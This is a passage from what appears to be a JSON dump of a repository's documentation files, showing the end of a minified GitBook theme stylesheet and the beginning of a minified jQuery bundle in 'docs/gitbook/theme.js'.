-vimeo:before{content:\"\\f27d\"}.fa-black-tie:before{content:\"\\f27e\"}.fa-fonticons:before{content:\"\\f280\"}.fa-reddit-alien:before{content:\"\\f281\"}.fa-edge:before{content:\"\\f282\"}.fa-credit-card-alt:before{content:\"\\f283\"}.fa-codiepie:before{content:\"\\f284\"}.fa-modx:before{content:\"\\f285\"}.fa-fort-awesome:before{content:\"\\f286\"}.fa-usb:before{content:\"\\f287\"}.fa-product-hunt:before{content:\"\\f288\"}.fa-mixcloud:before{content:\"\\f289\"}.fa-scribd:before{content:\"\\f28a\"}.fa-pause-circle:before{content:\"\\f28b\"}.fa-pause-circle-o:before{content:\"\\f28c\"}.fa-stop-circle:before{content:\"\\f28d\"}.fa-stop-circle-o:before{content:\"\\f28e\"}.fa-shopping-bag:before{content:\"\\f290\"}.fa-shopping-basket:before{content:\"\\f291\"}.fa-hashtag:before{content:\"\\f292\"}.fa-bluetooth:before{content:\"\\f293\"}.fa-bluetooth-b:before{content:\"\\f294\"}.fa-percent:before{content:\"\\f295\"}.fa-gitlab:before{content:\"\\f296\"}.fa-wpbeginner:before{content:\"\\f297\"}.fa-wpforms:before{content:\"\\f298\"}.fa-envira:before{content:\"\\f299\"}.fa-universal-access:before{content:\"\\f29a\"}.fa-wheelchair-alt:before{content:\"\\f29b\"}.fa-question-circle-o:before{content:\"\\f29c\"}.fa-blind:before{content:\"\\f29d\"}.fa-audio-description:before{content:\"\\f29e\"}.fa-volume-control-phone:before{content:\"\\f2a0\"}.fa-braille:before{content:\"\\f2a1\"}.fa-assistive-listening-systems:before{content:\"\\f2a2\"}.fa-american-sign-language-interpreting:before,.fa-asl-interpreting:before{content:\"\\f2a3\"}.fa-deaf:before,.fa-deafness:before,.fa-hard-of-hearing:before{content:\"\\f2a4\"}.fa-glide:before{content:\"\\f2a5\"}.fa-glide-g:before{content:\"\\f2a6\"}.fa-sign-language:before,.fa-signing:before{content:\"\\f2a7\"}.fa-low-vision:before{content:\"\\f2a8\"}.fa-viadeo:before{content:\"\\f2a9\"}.fa-viadeo-square:before{content:\"\\f2aa\"}.fa-snapchat:before{content:\"\\f2ab\"}.fa-snapchat-ghost:before{content:\"\\f2ac\"}.fa-snapchat-square:before{content:\"\\f2ad\"}.fa-pied-piper:before{content:\"\\f2ae\"}.fa-first-order:before{content:\"\\f2b0\"}.fa-yoast:before{content:\"\\f2b1\"}.fa-themeisle:before{content:\"\\f2b2\"}.fa-google-plus-circle:before,.fa-google-plus-official:before{content:\"\\f2b3\"}.fa-fa:before,.fa-font-awesome:before{content:\"\\f2b4\"}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}/*!\n * Preboot v2\n *\n * Open sourced under MIT license by @mdo.\n * Some variables and mixins from Bootstrap (Apache 2 license).\n */.book-langs-index{width:100%;height:100%;padding:40px 0;margin:0;overflow:auto}@media (max-width:600px){.book-langs-index{padding:0}}.book-langs-index .inner{max-width:600px;width:100%;margin:0 auto;padding:30px;background:#fff;border-radius:3px}.book-langs-index .inner h3{margin:0}.book-langs-index .inner .languages{list-style:none;padding:20px 30px;margin-top:20px;border-top:1px solid #eee}.book-langs-index .inner .languages:after,.book-langs-index .inner .languages:before{content:\" \";display:table;line-height:0}.book-langs-index .inner .languages:after{clear:both}.book-langs-index .inner .languages li{width:50%;float:left;padding:10px 5px;font-size:16px}@media (max-width:600px){.book-langs-index .inner .languages li{width:100%;max-width:100%}}.book-header{font-family:\"Helvetica Neue\",Helvetica,Arial,sans-serif;overflow:visible;height:50px;padding:0 8px;z-index:2;font-size:.85em;color:#7e888b;background:0 0}.book-header .btn{display:block;height:50px;padding:0 15px;border-bottom:none;color:#ccc;text-transform:uppercase;line-height:50px;-webkit-box-shadow:none!important;box-shadow:none!important;position:relative;font-size:14px}.book-header .btn:hover{position:relative;text-decoration:none;color:#444;background:0 0}.book-header .btn:focus{outline:0}.book-header h1{margin:0;font-size:20px;font-weight:200;text-align:center;line-height:50px;opacity:0;-webkit-transition:opacity ease .4s;-moz-transition:opacity ease .4s;-o-transition:opacity ease .4s;transition:opacity ease .4s;padding-left:200px;padding-right:200px;-webkit-transition:opacity .2s ease;-moz-transition:opacity .2s ease;-o-transition:opacity .2s ease;transition:opacity .2s ease;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.book-header h1 a,.book-header h1 a:hover{color:inherit;text-decoration:none}@media (max-width:1000px){.book-header h1{display:none}}.book-header h1 i{display:none}.book-header:hover h1{opacity:1}.book.is-loading .book-header h1 i{display:inline-block}.book.is-loading .book-header h1 a{display:none}.dropdown{position:relative}.dropdown-menu{position:absolute;top:100%;left:0;z-index:100;display:none;float:left;min-width:160px;padding:0;margin:2px 0 0;list-style:none;font-size:14px;background-color:#fafafa;border:1px solid rgba(0,0,0,.07);border-radius:1px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,.175);box-shadow:0 6px 12px rgba(0,0,0,.175);background-clip:padding-box}.dropdown-menu.open{display:block}.dropdown-menu.dropdown-left{left:auto;right:4%}.dropdown-menu.dropdown-left .dropdown-caret{right:14px;left:auto}.dropdown-menu .dropdown-caret{position:absolute;top:-8px;left:14px;width:18px;height:10px;float:left;overflow:hidden}.dropdown-menu .dropdown-caret .caret-outer{position:absolute;border-left:9px solid transparent;border-right:9px solid transparent;border-bottom:9px solid rgba(0,0,0,.1);height:auto;left:0;top:0;width:auto;display:inline-block;margin-left:-1px}.dropdown-menu .dropdown-caret .caret-inner{position:absolute;display:inline-block;margin-top:-1px;top:0;top:1px;border-left:9px solid transparent;border-right:9px solid transparent;border-bottom:9px solid #fafafa}.dropdown-menu .buttons{border-bottom:1px solid rgba(0,0,0,.07)}.dropdown-menu .buttons:after,.dropdown-menu .buttons:before{content:\" \";display:table;line-height:0}.dropdown-menu .buttons:after{clear:both}.dropdown-menu .buttons:last-child{border-bottom:none}.dropdown-menu .buttons .button{border:0;background-color:transparent;color:#a6a6a6;width:100%;text-align:center;float:left;line-height:1.42857143;padding:8px 4px}.dropdown-menu .buttons .button:hover{color:#444}.dropdown-menu .buttons .button:focus,.dropdown-menu .buttons .button:hover{outline:0}.dropdown-menu .buttons .button.size-2{width:50%}.dropdown-menu .buttons .button.size-3{width:33%}.book-summary{font-family:\"Helvetica Neue\",Helvetica,Arial,sans-serif;position:absolute;top:0;left:-300px;bottom:0;z-index:1;overflow-y:auto;width:300px;color:#364149;background:#fafafa;border-right:1px solid rgba(0,0,0,.07);-webkit-transition:left 250ms ease;-moz-transition:left 250ms ease;-o-transition:left 250ms ease;transition:left 250ms ease}.book-summary ul.summary{list-style:none;margin:0;padding:0;-webkit-transition:top .5s ease;-moz-transition:top .5s ease;-o-transition:top .5s ease;transition:top .5s ease}.book-summary ul.summary li{list-style:none}.book-summary ul.summary li.header{padding:10px 15px;padding-top:20px;text-transform:uppercase;color:#939da3}.book-summary ul.summary li.divider{height:1px;margin:7px 0;overflow:hidden;background:rgba(0,0,0,.07)}.book-summary ul.summary li i.fa-check{display:none;position:absolute;right:9px;top:16px;font-size:9px;color:#3c3}.book-summary ul.summary li.done>a{color:#364149;font-weight:400}.book-summary ul.summary li.done>a i{display:inline}.book-summary ul.summary li a,.book-summary ul.summary li span{display:block;padding:10px 15px;border-bottom:none;color:#364149;background:0 0;text-overflow:ellipsis;overflow:hidden;white-space:nowrap;position:relative}.book-summary ul.summary li a:hover{text-decoration:underline}.book-summary ul.summary li a:focus{outline:0}.book-summary ul.summary li.active>a{color:#008cff;background:0 0;text-decoration:none}.book-summary ul.summary li ul{padding-left:20px}@media (max-width:600px){.book-summary{width:calc(100% - 60px);bottom:0;left:-100%}}.book.with-summary .book-summary{left:0}.book.without-animation .book-summary{-webkit-transition:none!important;-moz-transition:none!important;-o-transition:none!important;transition:none!important}.book{position:relative;width:100%;height:100%}@media (min-width:600px){.book.with-summary .book-body{left:300px}}@media (max-width:600px){.book.with-summary{overflow:hidden}.book.with-summary .book-body{-webkit-transform:translate(calc(100% - 60px),0);-moz-transform:translate(calc(100% - 60px),0);-ms-transform:translate(calc(100% - 60px),0);-o-transform:translate(calc(100% - 60px),0);transform:translate(calc(100% - 60px),0)}}.book.without-animation .book-body{-webkit-transition:none!important;-moz-transition:none!important;-o-transition:none!important;transition:none!important}.book-body{position:absolute;top:0;right:0;left:0;bottom:0;overflow-y:auto;color:#000;background:#fff;-webkit-transition:left 250ms ease;-moz-transition:left 250ms ease;-o-transition:left 250ms ease;transition:left 250ms ease}.book-body .body-inner{position:absolute;top:0;right:0;left:0;bottom:0;overflow-y:auto}@media (max-width:1240px){.book-body{-webkit-transition:-webkit-transform 250ms ease;-moz-transition:-moz-transform 250ms ease;-o-transition:-o-transform 250ms ease;transition:transform 250ms ease;padding-bottom:20px}.book-body .body-inner{position:static;min-height:calc(100% - 50px)}}.page-wrapper{position:relative;outline:0}.page-inner{position:relative;max-width:800px;margin:0 auto;padding:20px 15px 40px 15px}.page-inner .btn-group .btn{border-radius:0;background:#eee;border:0}.buttons:after,.buttons:before{content:\" \";display:table;line-height:0}.buttons:after{clear:both}.button{border:0;background-color:transparent;background:#eee;color:#666;width:100%;text-align:center;float:left;line-height:1.42857143;padding:8px 4px}.button:hover{color:#444}.button:focus,.button:hover{outline:0}.button.size-2{width:50%}.button.size-3{width:33%}.markdown-section{display:block;word-wrap:break-word;overflow:hidden;color:#333;line-height:1.7;text-size-adjust:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;-moz-text-size-adjust:100%}.markdown-section *{box-sizing:border-box;-webkit-box-sizing:border-box;font-size:inherit}.markdown-section>:first-child{margin-top:0!important}.markdown-section>:last-child{margin-bottom:0!important}.markdown-section blockquote,.markdown-section code,.markdown-section figure,.markdown-section img,.markdown-section pre,.markdown-section table,.markdown-section tr{page-break-inside:avoid}.markdown-section h2,.markdown-section h3,.markdown-section h4,.markdown-section h5,.markdown-section p{orphans:3;widows:3}.markdown-section h1,.markdown-section h2,.markdown-section h3,.markdown-section h4,.markdown-section h5{page-break-after:avoid}.markdown-section b,.markdown-section strong{font-weight:700}.markdown-section em{font-style:italic}.markdown-section blockquote,.markdown-section dl,.markdown-section ol,.markdown-section p,.markdown-section table,.markdown-section ul{margin-top:0;margin-bottom:.85em}.markdown-section a{color:#4183c4;text-decoration:none;background:0 0}.markdown-section a:active,.markdown-section a:focus,.markdown-section a:hover{outline:0;text-decoration:underline}.markdown-section img{border:0;max-width:100%}.markdown-section hr{height:4px;padding:0;margin:1.7em 0;overflow:hidden;background-color:#e7e7e7;border:none}.markdown-section hr:after,.markdown-section hr:before{display:table;content:\" \"}.markdown-section hr:after{clear:both}.markdown-section h1,.markdown-section h2,.markdown-section h3,.markdown-section h4,.markdown-section h5,.markdown-section h6{margin-top:1.275em;margin-bottom:.85em;font-weight:700}.markdown-section h1{font-size:2em}.markdown-section h2{font-size:1.75em}.markdown-section h3{font-size:1.5em}.markdown-section h4{font-size:1.25em}.markdown-section h5{font-size:1em}.markdown-section h6{font-size:1em;color:#777}.markdown-section code,.markdown-section pre{font-family:Consolas,\"Liberation Mono\",Menlo,Courier,monospace;direction:ltr;margin:0;padding:0;border:none;color:inherit}.markdown-section pre{overflow:auto;word-wrap:normal;margin:0;padding:.85em 1em;margin-bottom:1.275em;background:#f7f7f7}.markdown-section pre>code{display:inline;max-width:initial;padding:0;margin:0;overflow:initial;line-height:inherit;font-size:.85em;white-space:pre;background:0 0}.markdown-section pre>code:after,.markdown-section pre>code:before{content:normal}.markdown-section code{padding:.2em;margin:0;font-size:.85em;background-color:#f7f7f7}.markdown-section code:after,.markdown-section code:before{letter-spacing:-.2em;content:\"\\00a0\"}.markdown-section table{display:table;width:100%;border-collapse:collapse;border-spacing:0;overflow:auto}.markdown-section table td,.markdown-section table th{padding:6px 13px;border:1px solid #ddd}.markdown-section table tr{background-color:#fff;border-top:1px solid #ccc}.markdown-section table tr:nth-child(2n){background-color:#f8f8f8}.markdown-section table th{font-weight:700}.markdown-section ol,.markdown-section ul{padding:0;margin:0;margin-bottom:.85em;padding-left:2em}.markdown-section ol ol,.markdown-section ol ul,.markdown-section ul ol,.markdown-section ul ul{margin-top:0;margin-bottom:0}.markdown-section ol ol{list-style-type:lower-roman}.markdown-section blockquote{margin:0;margin-bottom:.85em;padding:0 15px;color:#858585;border-left:4px solid #e5e5e5}.markdown-section blockquote:first-child{margin-top:0}.markdown-section blockquote:last-child{margin-bottom:0}.markdown-section dl{padding:0}.markdown-section dl dt{padding:0;margin-top:.85em;font-style:italic;font-weight:700}.markdown-section dl dd{padding:0 .85em;margin-bottom:.85em}.markdown-section dd{margin-left:0}.markdown-section .glossary-term{cursor:help;text-decoration:underline}.navigation{position:absolute;top:50px;bottom:0;margin:0;max-width:150px;min-width:90px;display:flex;justify-content:center;align-content:center;flex-direction:column;font-size:40px;color:#ccc;text-align:center;-webkit-transition:all 350ms ease;-moz-transition:all 350ms ease;-o-transition:all 350ms ease;transition:all 350ms ease}.navigation:hover{text-decoration:none;color:#444}.navigation.navigation-next{right:0}.navigation.navigation-prev{left:0}@media (max-width:1240px){.navigation{position:static;top:auto;max-width:50%;width:50%;display:inline-block;float:left}.navigation.navigation-unique{max-width:100%;width:100%}}#book-search-input{padding:6px;background:0 0;transition:top .5s ease;background:#fff;border-bottom:1px solid rgba(0,0,0,.07);border-top:1px solid rgba(0,0,0,.07);margin-bottom:10px;margin-top:-1px}#book-search-input input,#book-search-input input:focus,#book-search-input input:hover{width:100%;background:0 0;border:1px solid transparent;box-shadow:none;outline:0;line-height:22px;padding:7px 7px;color:inherit}#book-search-results{opacity:1}#book-search-results .search-results .search-results-title{text-transform:uppercase;text-align:center;font-weight:200;margin-bottom:35px;opacity:.6}#book-search-results .search-results .has-results .search-results-item{display:block;word-wrap:break-word;overflow:hidden;color:#333;line-height:1.7;text-size-adjust:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;-moz-text-size-adjust:100%}#book-search-results .search-results .has-results .search-results-item *{box-sizing:border-box;-webkit-box-sizing:border-box;font-size:inherit}#book-search-results .search-results .has-results .search-results-item>:first-child{margin-top:0!important}#book-search-results .search-results .has-results .search-results-item>:last-child{margin-bottom:0!important}#book-search-results .search-results .has-results .search-results-item blockquote,#book-search-results .search-results .has-results .search-results-item code,#book-search-results .search-results .has-results .search-results-item figure,#book-search-results .search-results .has-results .search-results-item img,#book-search-results .search-results .has-results .search-results-item pre,#book-search-results .search-results .has-results .search-results-item table,#book-search-results .search-results .has-results .search-results-item tr{page-break-inside:avoid}#book-search-results .search-results .has-results .search-results-item h2,#book-search-results .search-results .has-results .search-results-item h3,#book-search-results .search-results .has-results .search-results-item h4,#book-search-results .search-results .has-results .search-results-item h5,#book-search-results .search-results .has-results .search-results-item p{orphans:3;widows:3}#book-search-results .search-results .has-results .search-results-item h1,#book-search-results .search-results .has-results .search-results-item h2,#book-search-results .search-results .has-results .search-results-item h3,#book-search-results .search-results .has-results .search-results-item h4,#book-search-results .search-results .has-results .search-results-item h5{page-break-after:avoid}#book-search-results .search-results .has-results .search-results-item b,#book-search-results .search-results .has-results .search-results-item strong{font-weight:700}#book-search-results .search-results .has-results .search-results-item em{font-style:italic}#book-search-results .search-results .has-results .search-results-item blockquote,#book-search-results .search-results .has-results .search-results-item dl,#book-search-results .search-results .has-results .search-results-item ol,#book-search-results .search-results .has-results .search-results-item p,#book-search-results .search-results .has-results .search-results-item table,#book-search-results .search-results .has-results .search-results-item ul{margin-top:0;margin-bottom:.85em}#book-search-results .search-results .has-results .search-results-item a{color:#4183c4;text-decoration:none;background:0 0}#book-search-results .search-results .has-results .search-results-item a:active,#book-search-results .search-results .has-results .search-results-item a:focus,#book-search-results .search-results .has-results .search-results-item a:hover{outline:0;text-decoration:underline}#book-search-results .search-results .has-results .search-results-item img{border:0;max-width:100%}#book-search-results .search-results .has-results .search-results-item hr{height:4px;padding:0;margin:1.7em 0;overflow:hidden;background-color:#e7e7e7;border:none}#book-search-results .search-results .has-results .search-results-item hr:after,#book-search-results .search-results .has-results .search-results-item hr:before{display:table;content:\" \"}#book-search-results .search-results .has-results .search-results-item hr:after{clear:both}#book-search-results .search-results .has-results .search-results-item h1,#book-search-results .search-results .has-results .search-results-item h2,#book-search-results .search-results .has-results .search-results-item h3,#book-search-results .search-results .has-results .search-results-item h4,#book-search-results .search-results .has-results .search-results-item h5,#book-search-results .search-results .has-results .search-results-item h6{margin-top:1.275em;margin-bottom:.85em;font-weight:700}#book-search-results .search-results .has-results .search-results-item h1{font-size:2em}#book-search-results .search-results .has-results .search-results-item h2{font-size:1.75em}#book-search-results .search-results .has-results .search-results-item h3{font-size:1.5em}#book-search-results .search-results .has-results .search-results-item h4{font-size:1.25em}#book-search-results .search-results .has-results .search-results-item h5{font-size:1em}#book-search-results .search-results .has-results .search-results-item h6{font-size:1em;color:#777}#book-search-results .search-results .has-results .search-results-item code,#book-search-results .search-results .has-results .search-results-item pre{font-family:Consolas,\"Liberation Mono\",Menlo,Courier,monospace;direction:ltr;margin:0;padding:0;border:none;color:inherit}#book-search-results .search-results .has-results .search-results-item pre{overflow:auto;word-wrap:normal;margin:0;padding:.85em 1em;margin-bottom:1.275em;background:#f7f7f7}#book-search-results .search-results .has-results .search-results-item pre>code{display:inline;max-width:initial;padding:0;margin:0;overflow:initial;line-height:inherit;font-size:.85em;white-space:pre;background:0 0}#book-search-results .search-results .has-results .search-results-item pre>code:after,#book-search-results .search-results .has-results .search-results-item pre>code:before{content:normal}#book-search-results .search-results .has-results .search-results-item code{padding:.2em;margin:0;font-size:.85em;background-color:#f7f7f7}#book-search-results .search-results .has-results .search-results-item code:after,#book-search-results .search-results .has-results .search-results-item code:before{letter-spacing:-.2em;content:\"\\00a0\"}#book-search-results .search-results .has-results .search-results-item table{display:table;width:100%;border-collapse:collapse;border-spacing:0;overflow:auto}#book-search-results .search-results .has-results .search-results-item table td,#book-search-results .search-results .has-results .search-results-item table th{padding:6px 13px;border:1px solid #ddd}#book-search-results .search-results .has-results .search-results-item table tr{background-color:#fff;border-top:1px solid #ccc}#book-search-results .search-results .has-results .search-results-item table tr:nth-child(2n){background-color:#f8f8f8}#book-search-results .search-results .has-results .search-results-item table th{font-weight:700}#book-search-results .search-results .has-results .search-results-item ol,#book-search-results .search-results .has-results .search-results-item ul{padding:0;margin:0;margin-bottom:.85em;padding-left:2em}#book-search-results .search-results .has-results .search-results-item ol ol,#book-search-results .search-results .has-results .search-results-item ol ul,#book-search-results .search-results .has-results .search-results-item ul ol,#book-search-results .search-results .has-results .search-results-item ul ul{margin-top:0;margin-bottom:0}#book-search-results .search-results .has-results .search-results-item ol ol{list-style-type:lower-roman}#book-search-results .search-results .has-results .search-results-item blockquote{margin:0;margin-bottom:.85em;padding:0 15px;color:#858585;border-left:4px solid #e5e5e5}#book-search-results .search-results .has-results .search-results-item blockquote:first-child{margin-top:0}#book-search-results .search-results .has-results .search-results-item blockquote:last-child{margin-bottom:0}#book-search-results .search-results .has-results .search-results-item dl{padding:0}#book-search-results .search-results .has-results .search-results-item dl dt{padding:0;margin-top:.85em;font-style:italic;font-weight:700}#book-search-results .search-results .has-results .search-results-item dl dd{padding:0 .85em;margin-bottom:.85em}#book-search-results .search-results .has-results .search-results-item dd{margin-left:0}#book-search-results .search-results .has-results .search-results-item h3{margin-top:0;margin-bottom:0}#book-search-results .search-results .no-results{padding:40px 0}body.search-loading #book-search-results{opacity:.3}body.with-search .navigation{display:none}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-overflow-scrolling:touch;-webkit-tap-highlight-color:transparent;-webkit-text-size-adjust:none;-webkit-touch-callout:none;-webkit-font-smoothing:antialiased}a{text-decoration:none}body,html{height:100%}html{font-size:62.5%}body{text-rendering:optimizeLegibility;font-smoothing:antialiased;font-family:\"Helvetica Neue\",Helvetica,Arial,sans-serif;font-size:14px;letter-spacing:.2px;text-size-adjust:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}"
  },
  {
    "path": "docs/gitbook/theme.js",
    "content": "!function e(t,n,r){function o(a,s){if(!n[a]){if(!t[a]){var u=\"function\"==typeof require&&require;if(!s&&u)return u(a,!0);if(i)return i(a,!0);var l=new Error(\"Cannot find module '\"+a+\"'\");throw l.code=\"MODULE_NOT_FOUND\",l}var c=n[a]={exports:{}};t[a][0].call(c.exports,function(e){var n=t[a][1][e];return o(n?n:e)},c,c.exports,e,t,n,r)}return n[a].exports}for(var i=\"function\"==typeof require&&require,a=0;a<r.length;a++)o(r[a]);return o}({1:[function(e,t,n){!function(e,n){\"use strict\";\"object\"==typeof t&&\"object\"==typeof t.exports?t.exports=e.document?n(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return n(e)}:n(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";function n(e,t){t=t||te;var n=t.createElement(\"script\");n.text=e,t.head.appendChild(n).parentNode.removeChild(n)}function r(e){var t=!!e&&\"length\"in e&&e.length,n=de.type(e);return\"function\"!==n&&!de.isWindow(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}function o(e,t,n){return de.isFunction(t)?de.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?de.grep(e,function(e){return e===t!==n}):\"string\"!=typeof t?de.grep(e,function(e){return ae.call(t,e)>-1!==n}):ke.test(t)?de.filter(t,e,n):(t=de.filter(t,e),de.grep(e,function(e){return ae.call(t,e)>-1!==n&&1===e.nodeType}))}function i(e,t){for(;(e=e[t])&&1!==e.nodeType;);return e}function a(e){var t={};return de.each(e.match(qe)||[],function(e,n){t[n]=!0}),t}function s(e){return e}function u(e){throw e}function l(e,t,n){var r;try{e&&de.isFunction(r=e.promise)?r.call(e).done(t).fail(n):e&&de.isFunction(r=e.then)?r.call(e,t,n):t.call(void 0,e)}catch(e){n.call(void 0,e)}}function c(){te.removeEventListener(\"DOMContentLoaded\",c),e.removeEventListener(\"load\",c),de.ready()}function f(){this.expando=de.expando+f.uid++}function p(e){return\"true\"===e||\"false\"!==e&&(\"null\"===e?null:e===+e+\"\"?+e:Ie.test(e)?JSON.parse(e):e)}function h(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r=\"data-\"+t.replace(Re,\"-$&\").toLowerCase(),n=e.getAttribute(r),\"string\"==typeof n){try{n=p(n)}catch(e){}Pe.set(e,t,n)}else n=void 0;return n}function d(e,t,n,r){var o,i=1,a=20,s=r?function(){return r.cur()}:function(){return de.css(e,t,\"\")},u=s(),l=n&&n[3]||(de.cssNumber[t]?\"\":\"px\"),c=(de.cssNumber[t]||\"px\"!==l&&+u)&&$e.exec(de.css(e,t));if(c&&c[3]!==l){l=l||c[3],n=n||[],c=+u||1;do i=i||\".5\",c/=i,de.style(e,t,c+l);while(i!==(i=s()/u)&&1!==i&&--a)}return n&&(c=+c||+u||0,o=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=o)),o}function g(e){var t,n=e.ownerDocument,r=e.nodeName,o=Ue[r];return o?o:(t=n.body.appendChild(n.createElement(r)),o=de.css(t,\"display\"),t.parentNode.removeChild(t),\"none\"===o&&(o=\"block\"),Ue[r]=o,o)}function m(e,t){for(var n,r,o=[],i=0,a=e.length;i<a;i++)r=e[i],r.style&&(n=r.style.display,t?(\"none\"===n&&(o[i]=Fe.get(r,\"display\")||null,o[i]||(r.style.display=\"\")),\"\"===r.style.display&&We(r)&&(o[i]=g(r))):\"none\"!==n&&(o[i]=\"none\",Fe.set(r,\"display\",n)));for(i=0;i<a;i++)null!=o[i]&&(e[i].style.display=o[i]);return e}function v(e,t){var n;return n=\"undefined\"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||\"*\"):\"undefined\"!=typeof e.querySelectorAll?e.querySelectorAll(t||\"*\"):[],void 0===t||t&&de.nodeName(e,t)?de.merge([e],n):n}function y(e,t){for(var n=0,r=e.length;n<r;n++)Fe.set(e[n],\"globalEval\",!t||Fe.get(t[n],\"globalEval\"))}function b(e,t,n,r,o){for(var i,a,s,u,l,c,f=t.createDocumentFragment(),p=[],h=0,d=e.length;h<d;h++)if(i=e[h],i||0===i)if(\"object\"===de.type(i))de.merge(p,i.nodeType?[i]:i);else if(Ge.test(i)){for(a=a||f.appendChild(t.createElement(\"div\")),s=(Xe.exec(i)||[\"\",\"\"])[1].toLowerCase(),u=Ve[s]||Ve._default,a.innerHTML=u[1]+de.htmlPrefilter(i)+u[2],c=u[0];c--;)a=a.lastChild;de.merge(p,a.childNodes),a=f.firstChild,a.textContent=\"\"}else p.push(t.createTextNode(i));for(f.textContent=\"\",h=0;i=p[h++];)if(r&&de.inArray(i,r)>-1)o&&o.push(i);else if(l=de.contains(i.ownerDocument,i),a=v(f.appendChild(i),\"script\"),l&&y(a),n)for(c=0;i=a[c++];)Ke.test(i.type||\"\")&&n.push(i);return f}function x(){return!0}function w(){return!1}function C(){try{return te.activeElement}catch(e){}}function T(e,t,n,r,o,i){var a,s;if(\"object\"==typeof t){\"string\"!=typeof n&&(r=r||n,n=void 0);for(s in t)T(e,s,n,r,t[s],i);return e}if(null==r&&null==o?(o=n,r=n=void 0):null==o&&(\"string\"==typeof n?(o=r,r=void 0):(o=r,r=n,n=void 0)),o===!1)o=w;else if(!o)return e;return 1===i&&(a=o,o=function(e){return de().off(e),a.apply(this,arguments)},o.guid=a.guid||(a.guid=de.guid++)),e.each(function(){de.event.add(this,t,o,r,n)})}function k(e,t){return de.nodeName(e,\"table\")&&de.nodeName(11!==t.nodeType?t:t.firstChild,\"tr\")?e.getElementsByTagName(\"tbody\")[0]||e:e}function j(e){return e.type=(null!==e.getAttribute(\"type\"))+\"/\"+e.type,e}function E(e){var t=rt.exec(e.type);return t?e.type=t[1]:e.removeAttribute(\"type\"),e}function N(e,t){var n,r,o,i,a,s,u,l;if(1===t.nodeType){if(Fe.hasData(e)&&(i=Fe.access(e),a=Fe.set(t,i),l=i.events)){delete a.handle,a.events={};for(o in l)for(n=0,r=l[o].length;n<r;n++)de.event.add(t,o,l[o][n])}Pe.hasData(e)&&(s=Pe.access(e),u=de.extend({},s),Pe.set(t,u))}}function S(e,t){var n=t.nodeName.toLowerCase();\"input\"===n&&ze.test(e.type)?t.checked=e.checked:\"input\"!==n&&\"textarea\"!==n||(t.defaultValue=e.defaultValue)}function A(e,t,r,o){t=oe.apply([],t);var i,a,s,u,l,c,f=0,p=e.length,h=p-1,d=t[0],g=de.isFunction(d);if(g||p>1&&\"string\"==typeof d&&!pe.checkClone&&nt.test(d))return e.each(function(n){var i=e.eq(n);g&&(t[0]=d.call(this,n,i.html())),A(i,t,r,o)});if(p&&(i=b(t,e[0].ownerDocument,!1,e,o),a=i.firstChild,1===i.childNodes.length&&(i=a),a||o)){for(s=de.map(v(i,\"script\"),j),u=s.length;f<p;f++)l=i,f!==h&&(l=de.clone(l,!0,!0),u&&de.merge(s,v(l,\"script\"))),r.call(e[f],l,f);if(u)for(c=s[s.length-1].ownerDocument,de.map(s,E),f=0;f<u;f++)l=s[f],Ke.test(l.type||\"\")&&!Fe.access(l,\"globalEval\")&&de.contains(c,l)&&(l.src?de._evalUrl&&de._evalUrl(l.src):n(l.textContent.replace(ot,\"\"),c))}return e}function q(e,t,n){for(var r,o=t?de.filter(t,e):e,i=0;null!=(r=o[i]);i++)n||1!==r.nodeType||de.cleanData(v(r)),r.parentNode&&(n&&de.contains(r.ownerDocument,r)&&y(v(r,\"script\")),r.parentNode.removeChild(r));return e}function D(e,t,n){var r,o,i,a,s=e.style;return n=n||st(e),n&&(a=n.getPropertyValue(t)||n[t],\"\"!==a||de.contains(e.ownerDocument,e)||(a=de.style(e,t)),!pe.pixelMarginRight()&&at.test(a)&&it.test(t)&&(r=s.width,o=s.minWidth,i=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=o,s.maxWidth=i)),void 0!==a?a+\"\":a}function O(e,t){return{get:function(){return e()?void delete this.get:(this.get=t).apply(this,arguments)}}}function L(e){if(e in pt)return e;for(var t=e[0].toUpperCase()+e.slice(1),n=ft.length;n--;)if(e=ft[n]+t,e in pt)return e}function H(e,t,n){var r=$e.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||\"px\"):t}function F(e,t,n,r,o){var i,a=0;for(i=n===(r?\"border\":\"content\")?4:\"width\"===t?1:0;i<4;i+=2)\"margin\"===n&&(a+=de.css(e,n+_e[i],!0,o)),r?(\"content\"===n&&(a-=de.css(e,\"padding\"+_e[i],!0,o)),\"margin\"!==n&&(a-=de.css(e,\"border\"+_e[i]+\"Width\",!0,o))):(a+=de.css(e,\"padding\"+_e[i],!0,o),\"padding\"!==n&&(a+=de.css(e,\"border\"+_e[i]+\"Width\",!0,o)));return a}function P(e,t,n){var r,o=!0,i=st(e),a=\"border-box\"===de.css(e,\"boxSizing\",!1,i);if(e.getClientRects().length&&(r=e.getBoundingClientRect()[t]),r<=0||null==r){if(r=D(e,t,i),(r<0||null==r)&&(r=e.style[t]),at.test(r))return r;o=a&&(pe.boxSizingReliable()||r===e.style[t]),r=parseFloat(r)||0}return r+F(e,t,n||(a?\"border\":\"content\"),o,i)+\"px\"}function I(e,t,n,r,o){return new I.prototype.init(e,t,n,r,o)}function R(){dt&&(e.requestAnimationFrame(R),de.fx.tick())}function M(){return e.setTimeout(function(){ht=void 0}),ht=de.now()}function $(e,t){var n,r=0,o={height:e};for(t=t?1:0;r<4;r+=2-t)n=_e[r],o[\"margin\"+n]=o[\"padding\"+n]=e;return t&&(o.opacity=o.width=e),o}function 